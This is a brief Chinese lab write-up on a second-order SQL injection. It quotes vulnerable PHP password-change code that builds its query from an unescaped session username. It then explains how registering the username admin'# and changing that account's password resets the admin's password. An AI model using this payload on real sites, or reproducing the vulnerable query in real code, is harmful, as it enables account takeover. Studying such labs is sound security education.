注入点
- # Validating the user input........
- $username= $_SESSION["username"];
- $curr_pass= mysql_real_escape_string($_POST['current_password']);
- $pass= mysql_real_escape_string($_POST['password']);
- $re_pass= mysql_real_escape_string($_POST['re_password']);
-
- if($pass==$re_pass)
- {
- $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
- $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
- $row = mysql_affected_rows();
- echo '';
- echo '
' ; - if($row==1)
- {
- echo "Password successfully updated";
-
- }
- else
- {
- header('Location: failed.php');
- //echo 'You tried to be smart, Try harder!!!! :( ';
- }
- }
$username= $_SESSION["username"];
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
对已经注册的用户的username没有转义特殊字符
思路
1,注册一个新用户admin'#虽然转义了,但特殊字符一起写进了数据库

2,用该用户更换密码,你更换的密码就是admin用户的密码
sql语句变为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
说以你去更新的是admin的密码